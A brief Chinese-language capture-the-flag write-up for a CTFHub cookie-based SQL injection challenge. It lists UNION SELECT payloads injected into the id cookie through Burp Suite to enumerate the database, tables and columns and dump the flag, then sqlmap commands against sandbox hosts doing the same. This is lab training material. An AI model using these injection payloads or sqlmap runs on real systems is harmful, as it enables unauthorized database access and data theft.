cookie注入
Burpsuite手动注入 ● 先创造环境,再用burp suite抓包
● 将点击action-send to repeater,得到ID=1
● 在cookie中注入id=123+union+select+database(),2#,找到数据库;得到ID:sqli
● 再注入id=123 union select group_concat(table_name),2 from information_schema.tables where table_schema= 'sqli' # ;得到数据表名:ejptyugwdy。
● 再注入id=123+union+select+group_concat(column_name),2 from information_schema.columns where table_schema= 'sqli'and table_name ='ejptyugwdy' # ,得到数据的列名:rpuszfctgg
● 在注入id=123+union+select+group_concat(rpuszfctgg),2 from ejptyugwdy #;
● 最终得到flag:ctfhub{aedfb2dce32cf14f8fc1e5f7}
SQLMap
● 输入python sqlmap.py -u "http://challenge- 4392a73ca055fbc7.sandbox.ctfhub.com:10800/" --cookie "id=1" -D sqli --tables --level 2 找到数据库
● 在输入python sqlmap.py -u “http://challenge- 29a5a9149c0bf502.sandbox.ctfhub.com:10800/” --cookie "id=1" -D sqli --tables --level 2 得到数据库sqli的表名;spmvpdbdwv
● 在输入python sqlmap.py -u "http://challenge- 29a5a9149c0bf502.sandbox.ctfhub.com:10800/" --cookie "id=1" -D sqli -T spmvpdbdwv - -columns --dump --level 2最后得到flag:ctfhub{8c8cac632267f16a5db2f6d0}



